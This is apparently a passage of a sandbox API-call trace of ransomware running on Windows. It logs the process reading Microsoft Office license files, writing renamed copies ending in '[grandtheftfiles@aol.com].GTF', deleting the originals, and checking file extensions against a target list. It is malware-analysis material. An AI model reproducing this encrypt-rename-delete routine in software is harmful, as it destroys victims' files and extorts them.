	[0181.969] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5d30, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5d30, lpOverlapped=0x0) returned 1
	[0181.970] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.970] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x120, lpOverlapped=0x0) returned 1
	[0181.970] SetEndOfFile (hFile=0x560) returned 1
	[0181.971] CloseHandle (hObject=0x560) returned 1
	[0181.971] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.971] SetEndOfFile (hFile=0x568) returned 1
	[0181.974] CloseHandle (hObject=0x568) returned 1
	[0181.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms")) returned 1
	[0181.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.975] lstrlenW (lpString=".doc") returned 4
	[0181.975] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.975] lstrlenW (lpString=".docx") returned 5
	[0181.975] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.975] lstrlenW (lpString=".pdf") returned 4
	[0181.975] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.975] lstrlenW (lpString=".xls") returned 4
	[0181.975] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.975] lstrlenW (lpString=".xlsx") returned 5
	[0181.975] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.975] lstrlenW (lpString=".ppt") returned 4
	[0181.975] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.975] lstrlenW (lpString=".zip") returned 4
	[0181.975] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.975] lstrlenW (lpString=".rar") returned 4
	[0181.976] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString=".bz2") returned 4
	[0181.976] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString=".7z") returned 3
	[0181.976] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.976] lstrlenW (lpString=".dbf") returned 4
	[0181.976] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.976] lstrlenW (lpString=".1cd") returned 4
	[0181.976] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.976] lstrlenW (lpString=".jpg") returned 4
	[0181.976] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.976] lstrlenW (lpString=".doc") returned 4
	[0181.976] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString=".docx") returned 5
	[0181.976] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.976] lstrlenW (lpString=".pdf") returned 4
	[0181.976] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString=".xls") returned 4
	[0181.976] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString=".xlsx") returned 5
	[0181.976] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.976] lstrlenW (lpString=".ppt") returned 4
	[0181.976] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.976] lstrlenW (lpString=".zip") returned 4
	[0181.976] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString=".rar") returned 4
	[0181.976] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString=".bz2") returned 4
	[0181.976] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.976] lstrlenW (lpString=".7z") returned 3
	[0181.977] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.977] lstrlenW (lpString=".dbf") returned 4
	[0181.977] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.977] lstrlenW (lpString=".1cd") returned 4
	[0181.977] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88
	[0181.977] lstrlenW (lpString=".jpg") returned 4
	[0181.977] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.977] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.977] lstrlenW (lpString="O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 41
	[0181.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0181.978] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11655) returned 1
	[0181.978] CloseHandle (hObject=0x568) returned 1
	[0181.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms")) returned 0x220
	[0181.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0181.978] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.978] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0181.979] GetLastError () returned 0x0
	[0181.979] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d87, lpOverlapped=0x0) returned 1
	[0182.368] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0182.369] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.369] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x126, lpOverlapped=0x0) returned 1
	[0182.369] SetEndOfFile (hFile=0x560) returned 1
	[0182.369] CloseHandle (hObject=0x560) returned 1
	[0182.369] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.369] SetEndOfFile (hFile=0x568) returned 1
	[0182.372] CloseHandle (hObject=0x568) returned 1
	[0182.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms")) returned 1
	[0182.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.373] lstrlenW (lpString=".doc") returned 4
	[0182.373] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.373] lstrlenW (lpString=".docx") returned 5
	[0182.373] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.373] lstrlenW (lpString=".pdf") returned 4
	[0182.373] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.373] lstrlenW (lpString=".xls") returned 4
	[0182.373] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.373] lstrlenW (lpString=".xlsx") returned 5
	[0182.373] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.373] lstrlenW (lpString=".ppt") returned 4
	[0182.373] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.373] lstrlenW (lpString=".zip") returned 4
	[0182.374] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.374] lstrlenW (lpString=".rar") returned 4
	[0182.374] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.374] lstrlenW (lpString=".bz2") returned 4
	[0182.374] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.374] lstrlenW (lpString=".7z") returned 3
	[0182.374] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.374] lstrlenW (lpString=".dbf") returned 4
	[0182.374] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.374] lstrlenW (lpString=".1cd") returned 4
	[0182.374] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.374] lstrlenW (lpString=".jpg") returned 4
	[0182.374] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.374] lstrlenW (lpString=".doc") returned 4
	[0182.374] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.374] lstrlenW (lpString=".docx") returned 5
	[0182.374] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.374] lstrlenW (lpString=".pdf") returned 4
	[0182.374] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.374] lstrlenW (lpString=".xls") returned 4
	[0182.374] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.374] lstrlenW (lpString=".xlsx") returned 5
	[0182.374] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.374] lstrlenW (lpString=".ppt") returned 4
	[0182.375] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.375] lstrlenW (lpString=".zip") returned 4
	[0182.375] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.375] lstrlenW (lpString=".rar") returned 4
	[0182.375] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.375] lstrlenW (lpString=".bz2") returned 4
	[0182.375] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.375] lstrlenW (lpString=".7z") returned 3
	[0182.375] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.375] lstrlenW (lpString=".dbf") returned 4
	[0182.375] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.375] lstrlenW (lpString=".1cd") returned 4
	[0182.375] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91
	[0182.375] lstrlenW (lpString=".jpg") returned 4
	[0182.375] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.375] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.375] lstrlenW (lpString="O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 38
	[0182.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.376] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=23843) returned 1
	[0182.376] CloseHandle (hObject=0x568) returned 1
	[0182.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms")) returned 0x220
	[0182.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.377] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.377] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0182.378] GetLastError () returned 0x0
	[0182.378] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x5d23, lpOverlapped=0x0) returned 1
	[0182.380] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5d30, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5d30, lpOverlapped=0x0) returned 1
	[0182.381] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.381] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x120, lpOverlapped=0x0) returned 1
	[0182.381] SetEndOfFile (hFile=0x560) returned 1
	[0182.382] CloseHandle (hObject=0x560) returned 1
	[0182.382] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.382] SetEndOfFile (hFile=0x568) returned 1
	[0182.385] CloseHandle (hObject=0x568) returned 1
	[0182.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms")) returned 1
	[0182.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.386] lstrlenW (lpString=".doc") returned 4
	[0182.386] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.386] lstrlenW (lpString=".docx") returned 5
	[0182.386] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.386] lstrlenW (lpString=".pdf") returned 4
	[0182.386] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.386] lstrlenW (lpString=".xls") returned 4
	[0182.386] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.386] lstrlenW (lpString=".xlsx") returned 5
	[0182.386] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.386] lstrlenW (lpString=".ppt") returned 4
	[0182.386] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.386] lstrlenW (lpString=".zip") returned 4
	[0182.386] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.386] lstrlenW (lpString=".rar") returned 4
	[0182.386] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.386] lstrlenW (lpString=".bz2") returned 4
	[0182.386] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.386] lstrlenW (lpString=".7z") returned 3
	[0182.386] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.386] lstrlenW (lpString=".dbf") returned 4
	[0182.386] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.386] lstrlenW (lpString=".1cd") returned 4
	[0182.386] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.387] lstrlenW (lpString=".jpg") returned 4
	[0182.387] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.387] lstrlenW (lpString=".doc") returned 4
	[0182.387] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.387] lstrlenW (lpString=".docx") returned 5
	[0182.387] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.387] lstrlenW (lpString=".pdf") returned 4
	[0182.387] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.387] lstrlenW (lpString=".xls") returned 4
	[0182.387] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.387] lstrlenW (lpString=".xlsx") returned 5
	[0182.387] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.387] lstrlenW (lpString=".ppt") returned 4
	[0182.387] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.387] lstrlenW (lpString=".zip") returned 4
	[0182.387] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.387] lstrlenW (lpString=".rar") returned 4
	[0182.387] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.387] lstrlenW (lpString=".bz2") returned 4
	[0182.387] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.387] lstrlenW (lpString=".7z") returned 3
	[0182.387] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.387] lstrlenW (lpString=".dbf") returned 4
	[0182.387] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.387] lstrlenW (lpString=".1cd") returned 4
	[0182.387] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88
	[0182.387] lstrlenW (lpString=".jpg") returned 4
	[0182.387] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.388] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.388] lstrlenW (lpString="O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 41
	[0182.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.388] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11655) returned 1
	[0182.388] CloseHandle (hObject=0x568) returned 1
	[0182.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms")) returned 0x220
